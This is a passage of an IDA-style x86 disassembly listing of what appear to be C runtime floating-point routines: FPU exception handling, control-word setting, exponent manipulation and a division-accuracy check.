jnz short loc_4217F6
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421D76
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4217F6: ; CODE XREF: sub_4217C1+Aj
push 0FFFFh
mov dword_4DE02C, 21h
push [ebp+arg_C]
call sub_421FE9
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_4217C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421814(int,int,double,double,int)
sub_421814 proc near ; CODE XREF: sub_41CE49:loc_41CF0Cp
; sub_41CF8F:loc_41D052p
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_421B5F
add esp, 0Ch
test eax, eax
jnz short loc_421852
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_4218AC
add esp, 18h
loc_421852: ; CODE XREF: sub_421814+1Aj
push [ebp+arg_0]
call sub_421E49
cmp dword_43F960, 0
pop ecx
jnz short loc_421890
test eax, eax
jz short loc_421890
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421D76
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421890: ; CODE XREF: sub_421814+4Ej
; sub_421814+52j
push eax
call sub_421DFE
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_421FE9
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_421814 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4218AC proc near ; CODE XREF: sub_421814+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_4218DE
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_4218DE: ; CODE XREF: sub_4218AC+23j
test cl, 2
jz short loc_4218F1
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_4218F1: ; CODE XREF: sub_4218AC+35j
test cl, bl
jz short loc_421903
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_421903: ; CODE XREF: sub_4218AC+47j
test cl, 4
jz short loc_421916
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_421916: ; CODE XREF: sub_4218AC+5Aj
test cl, 8
jz short loc_421929
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_421929: ; CODE XREF: sub_4218AC+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_421FCC
test al, bl
jz short loc_4219B2
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_4219B2: ; CODE XREF: sub_4218AC+FDj
test al, 4
jz short loc_4219BD
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_4219BD: ; CODE XREF: sub_4218AC+108j
test al, 8
jz short loc_4219C8
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_4219C8: ; CODE XREF: sub_4218AC+113j
test al, 10h
jz short loc_4219D2
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_4219D2: ; CODE XREF: sub_4218AC+11Ej
test al, 20h
jz short loc_4219DC
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_4219DC: ; CODE XREF: sub_4218AC+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421A1B
cmp eax, 400h
jz short loc_421A0D
cmp eax, 800h
jz short loc_421A01
cmp eax, ecx
jnz short loc_421A21
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421A21
; ---------------------------------------------------------------------------
loc_421A01: ; CODE XREF: sub_4218AC+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421A17
; ---------------------------------------------------------------------------
loc_421A0D: ; CODE XREF: sub_4218AC+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421A17: ; CODE XREF: sub_4218AC+15Fj
mov [eax], ecx
jmp short loc_421A21
; ---------------------------------------------------------------------------
loc_421A1B: ; CODE XREF: sub_4218AC+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421A21: ; CODE XREF: sub_4218AC+14Bj
; sub_4218AC+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_421A4C
cmp eax, 200h
jz short loc_421A3F
cmp eax, ecx
jnz short loc_421A59
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421A59
; ---------------------------------------------------------------------------
loc_421A3F: ; CODE XREF: sub_4218AC+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421A57
; ---------------------------------------------------------------------------
loc_421A4C: ; CODE XREF: sub_4218AC+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421A57: ; CODE XREF: sub_4218AC+19Ej
mov [eax], ecx
loc_421A59: ; CODE XREF: sub_4218AC+189j
; sub_4218AC+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_421FDA
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call dword_42805C ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421AD3
and dword ptr [esi], 0FFFFFFFEh
loc_421AD3: ; CODE XREF: sub_4218AC+222j
test byte ptr [eax+8], 8
jz short loc_421ADC
and dword ptr [esi], 0FFFFFFFBh
loc_421ADC: ; CODE XREF: sub_4218AC+22Bj
test byte ptr [eax+8], 4
jz short loc_421AE5
and dword ptr [esi], 0FFFFFFF7h
loc_421AE5: ; CODE XREF: sub_4218AC+234j
test byte ptr [eax+8], 2
jz short loc_421AEE
and dword ptr [esi], 0FFFFFFEFh
loc_421AEE: ; CODE XREF: sub_4218AC+23Dj
test [eax+8], bl
jz short loc_421AF6
and dword ptr [esi], 0FFFFFFDFh
loc_421AF6: ; CODE XREF: sub_4218AC+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_421B2A
dec ecx
jz short loc_421B1E
dec ecx
jz short loc_421B14
dec ecx
jnz short loc_421B2C
or byte ptr [esi+1], 0Ch
jmp short loc_421B2C
; ---------------------------------------------------------------------------
loc_421B14: ; CODE XREF: sub_4218AC+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421B26
; ---------------------------------------------------------------------------
loc_421B1E: ; CODE XREF: sub_4218AC+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421B26: ; CODE XREF: sub_4218AC+270j
mov [esi], ecx
jmp short loc_421B2C
; ---------------------------------------------------------------------------
loc_421B2A: ; CODE XREF: sub_4218AC+257j
and [esi], edx
loc_421B2C: ; CODE XREF: sub_4218AC+260j
; sub_4218AC+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_421B4C
dec ecx
jz short loc_421B43
dec ecx
jnz short loc_421B55
and [esi], edx
jmp short loc_421B55
; ---------------------------------------------------------------------------
loc_421B43: ; CODE XREF: sub_4218AC+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421B53
; ---------------------------------------------------------------------------
loc_421B4C: ; CODE XREF: sub_4218AC+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421B53: ; CODE XREF: sub_4218AC+29Ej
mov [esi], ecx
loc_421B55: ; CODE XREF: sub_4218AC+291j
; sub_4218AC+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4218AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421B5F proc near ; CODE XREF: sub_421814+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_421B8A
test byte ptr [ebp+arg_8], bl
jz short loc_421B8A
push ebx
call sub_42200C
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421D54
; ---------------------------------------------------------------------------
loc_421B8A: ; CODE XREF: sub_421B5F+15j
; sub_421B5F+1Aj
test al, 4
jz short loc_421BA4
test byte ptr [ebp+arg_8], 4
jz short loc_421BA4
push 4
call sub_42200C
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421D54
; ---------------------------------------------------------------------------
loc_421BA4: ; CODE XREF: sub_421B5F+2Dj
; sub_421B5F+33j
test al, bl
jz loc_421C7E
test byte ptr [ebp+arg_8], 8
jz loc_421C7E
push 8
call sub_42200C
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421C56
cmp ecx, 400h
jz short loc_421C2E
cmp ecx, 800h
jz short loc_421C06
cmp ecx, eax
jnz loc_421C76
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_428888
fld dbl_43F560
fnstsw ax
sahf
ja short loc_421BFE
fchs
loc_421BFE: ; CODE XREF: sub_421B5F+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421C74
; ---------------------------------------------------------------------------
loc_421C06: ; CODE XREF: sub_421B5F+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_428888
fnstsw ax
sahf
jbe short loc_421C1E
fld dbl_43F550
jmp short loc_421C26
; ---------------------------------------------------------------------------
loc_421C1E: ; CODE XREF: sub_421B5F+B5j
fld dbl_43F560
fchs
loc_421C26: ; CODE XREF: sub_421B5F+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421C74
; ---------------------------------------------------------------------------
loc_421C2E: ; CODE XREF: sub_421B5F+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_428888
fnstsw ax
sahf
jbe short loc_421C46
fld dbl_43F560
jmp short loc_421C4E
; ---------------------------------------------------------------------------
loc_421C46: ; CODE XREF: sub_421B5F+DDj
fld dbl_43F550
fchs
loc_421C4E: ; CODE XREF: sub_421B5F+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421C74
; ---------------------------------------------------------------------------
loc_421C56: ; CODE XREF: sub_421B5F+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_428888
fld dbl_43F550
fnstsw ax
sahf
ja short loc_421C6E
fchs
loc_421C6E: ; CODE XREF: sub_421B5F+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421C74: ; CODE XREF: sub_421B5F+A5j
; sub_421B5F+CDj ...
fstp qword ptr [ecx]
loc_421C76: ; CODE XREF: sub_421B5F+81j
and edi, 0FFFFFFFEh
jmp loc_421D54
; ---------------------------------------------------------------------------
loc_421C7E: ; CODE XREF: sub_421B5F+47j
; sub_421B5F+51j
test al, 2
jz loc_421D54
test byte ptr [ebp+arg_8], 10h
jz loc_421D54
push esi
xor esi, esi
test al, 10h
jz short loc_421C99
mov esi, ebx
loc_421C99: ; CODE XREF: sub_421B5F+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_428888
fnstsw ax
sahf
jz loc_421D42
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421F0B
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421CE4
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421D38
; ---------------------------------------------------------------------------
loc_421CE4: ; CODE XREF: sub_421B5F+17Aj
fld [ebp+var_C]
fcomp dbl_428888
fnstsw ax
sahf
jnb short loc_421CF6
mov edx, ebx
jmp short loc_421CF8
; ---------------------------------------------------------------------------
loc_421CF6: ; CODE XREF: sub_421B5F+191j
xor edx, edx
loc_421CF8: ; CODE XREF: sub_421B5F+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421D2C
sub eax, ecx
loc_421D0F: ; CODE XREF: sub_421B5F+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_421D1A
test esi, esi
jnz short loc_421D1A
mov esi, ebx
loc_421D1A: ; CODE XREF: sub_421B5F+1B3j
; sub_421B5F+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421D26
or byte ptr [ebp+var_C+3], 80h
loc_421D26: ; CODE XREF: sub_421B5F+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421D0F
loc_421D2C: ; CODE XREF: sub_421B5F+1ACj
test edx, edx
jz short loc_421D38
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421D38: ; CODE XREF: sub_421B5F+183j
; sub_421B5F+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421D44
; ---------------------------------------------------------------------------
loc_421D42: ; CODE XREF: sub_421B5F+14Ej
mov esi, ebx
loc_421D44: ; CODE XREF: sub_421B5F+1E1j
test esi, esi
pop esi
jz short loc_421D51
push 10h
call sub_42200C
pop ecx
loc_421D51: ; CODE XREF: sub_421B5F+1E8j
and edi, 0FFFFFFFDh
loc_421D54: ; CODE XREF: sub_421B5F+26j
; sub_421B5F+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_421D6B
test byte ptr [ebp+arg_8], 20h
jz short loc_421D6B
push 20h
call sub_42200C
pop ecx
and edi, 0FFFFFFEFh
loc_421D6B: ; CODE XREF: sub_421B5F+1F9j
; sub_421B5F+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_421B5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421D76(int,int,int,int,int,int,double,int)
sub_421D76 proc near ; CODE XREF: sub_4217C1+2Bp
; sub_421814+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421E24
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421DE1
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_421FE9
lea eax, [ebp+var_20]
push eax
call sub_42484D
add esp, 0Ch
test eax, eax
jnz short loc_421DDB
push esi
call sub_421DFE
pop ecx
loc_421DDB: ; CODE XREF: sub_421D76+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421DE1: ; CODE XREF: sub_421D76+14j
push 0FFFFh
push [ebp+arg_20]
call sub_421FE9
push [ebp+arg_0]
call sub_421DFE
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421D76 endp
; =============== S U B R O U T I N E =======================================
sub_421DFE proc near ; CODE XREF: sub_421814+7Dp
; sub_421D76+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421E19
jle short locret_421E23
cmp eax, 3
jg short locret_421E23
mov dword_4DE02C, 22h
retn
; ---------------------------------------------------------------------------
loc_421E19: ; CODE XREF: sub_421DFE+7j
mov dword_4DE02C, 21h
locret_421E23: ; CODE XREF: sub_421DFE+9j
; sub_421DFE+Ej
retn
sub_421DFE endp
; =============== S U B R O U T I N E =======================================
sub_421E24 proc near ; CODE XREF: sub_421D76+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43F478
loc_421E2B: ; CODE XREF: sub_421E24+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421E41
add eax, 8
inc ecx
cmp eax, offset dbl_43F550
jl short loc_421E2B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421E41: ; CODE XREF: sub_421E24+Dj
mov eax, off_43F47C[ecx*8]
retn
sub_421E24 endp
; =============== S U B R O U T I N E =======================================
sub_421E49 proc near ; CODE XREF: sub_421814+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421E55
push 5
jmp short loc_421E6B
; ---------------------------------------------------------------------------
loc_421E55: ; CODE XREF: sub_421E49+6j
test al, 8
jz short loc_421E5D
push 1
jmp short loc_421E6B
; ---------------------------------------------------------------------------
loc_421E5D: ; CODE XREF: sub_421E49+Ej
test al, 4
jz short loc_421E65
push 2
jmp short loc_421E6B
; ---------------------------------------------------------------------------
loc_421E65: ; CODE XREF: sub_421E49+16j
test al, 1
jz short loc_421E6D
push 3
loc_421E6B: ; CODE XREF: sub_421E49+Aj
; sub_421E49+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_421E6D: ; CODE XREF: sub_421E49+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421E49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421E76(double)
sub_421E76 proc near ; CODE XREF: sub_41CE49:loc_41CECFp
; sub_41CF8F:loc_41D015p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421E76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421E88(double,int)
sub_421E88 proc near ; CODE XREF: sub_421F0B+82p
; sub_421F0B+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421E88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EB1 proc near ; CODE XREF: sub_41CE49+31p
; sub_41CF8F+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_421EC8
cmp [ebp+arg_0], edx
jnz short loc_421EDA
push 1
jmp short loc_421F04
; ---------------------------------------------------------------------------
loc_421EC8: ; CODE XREF: sub_421EB1+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_421EDA
cmp [ebp+arg_0], edx
jnz short loc_421EDA
push 2
jmp short loc_421F04
; ---------------------------------------------------------------------------
loc_421EDA: ; CODE XREF: sub_421EB1+11j
; sub_421EB1+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421EED
push 3
jmp short loc_421F04
; ---------------------------------------------------------------------------
loc_421EED: ; CODE XREF: sub_421EB1+36j
cmp cx, 7FF0h
jnz short loc_421F07
test [ebp+arg_4], 7FFFFh
jnz short loc_421F02
cmp [ebp+arg_0], edx
jz short loc_421F07
loc_421F02: ; CODE XREF: sub_421EB1+4Aj
push 4
loc_421F04: ; CODE XREF: sub_421EB1+15j
; sub_421EB1+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421F07: ; CODE XREF: sub_421EB1+41j
; sub_421EB1+4Fj
xor eax, eax
pop ebp
retn
sub_421EB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F0B(double,int)
sub_421F0B proc near ; CODE XREF: sub_421B5F+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_428888
push esi
fnstsw ax
sahf
jnz short loc_421F2B
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_421FC1
; ---------------------------------------------------------------------------
loc_421F2B: ; CODE XREF: sub_421F0B+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_421F9A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421F43
cmp dword ptr [ebp+arg_0], ecx
jz short loc_421F9A
loc_421F43: ; CODE XREF: sub_421F0B+31j
fld [ebp+arg_0]
fcomp dbl_428888
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421F5B
push 1
pop eax
jmp short loc_421F5D
; ---------------------------------------------------------------------------
loc_421F5B: ; CODE XREF: sub_421F0B+49j
xor eax, eax
loc_421F5D: ; CODE XREF: sub_421F0B+4Ej
; sub_421F0B+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_421F76
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_421F70
or dword ptr [ebp+arg_0+4], 1
loc_421F70: ; CODE XREF: sub_421F0B+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421F5D
; ---------------------------------------------------------------------------
loc_421F76: ; CODE XREF: sub_421F0B+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_421F84
or byte ptr [ebp+arg_0+7], 80h
loc_421F84: ; CODE XREF: sub_421F0B+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421E88
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_421FC1
; ---------------------------------------------------------------------------
loc_421F9A: ; CODE XREF: sub_421F0B+28j
; sub_421F0B+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421E88
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_421FC1: ; CODE XREF: sub_421F0B+1Bj
; sub_421F0B+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421F0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421FCC proc near ; CODE XREF: sub_4218AC+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_421FCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421FDA proc near ; CODE XREF: sub_4218AC+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_421FDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421FE9 proc near ; CODE XREF: sub_41CE49+13p
; sub_41CE49+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_421FE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42200C proc near ; CODE XREF: sub_421B5F+1Dp
; sub_421B5F+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_422023
fld tbyte_43F578
fistp [ebp+arg_0]
wait
loc_422023: ; CODE XREF: sub_42200C+Bj
test cl, 8
jz short loc_422038
fstsw ax
fld tbyte_43F578
fstp [ebp+var_8]
wait
fstsw ax
loc_422038: ; CODE XREF: sub_42200C+1Aj
test cl, 10h
jz short loc_422047
fld tbyte_43F584
fstp [ebp+var_8]
wait
loc_422047: ; CODE XREF: sub_42200C+2Fj
test cl, 4
jz short loc_422055
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_422055: ; CODE XREF: sub_42200C+3Ej
test cl, 20h
jz short locret_422060
fldpi
fstp [ebp+var_8]
wait
locret_422060: ; CODE XREF: sub_42200C+4Cj
leave
retn
sub_42200C endp
; =============== S U B R O U T I N E =======================================
sub_422062 proc near ; CODE XREF: sub_41CF18+Fp
push 30000h
push 10000h
call sub_424885
pop ecx
pop ecx
retn
sub_422062 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422074 proc near ; CODE XREF: sub_4220B2:loc_4220D6j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_428898
fstp [ebp+var_8]
fld dbl_428890
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_428718
fnstsw ax
sahf
jbe short loc_4220AE
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4220AE: ; CODE XREF: sub_422074+33j
xor eax, eax
leave
retn
sub_422074 endp
; =============== S U B R O U T I N E =======================================
sub_4220B2 proc near ; CODE XREF: sub_41CF18+5p
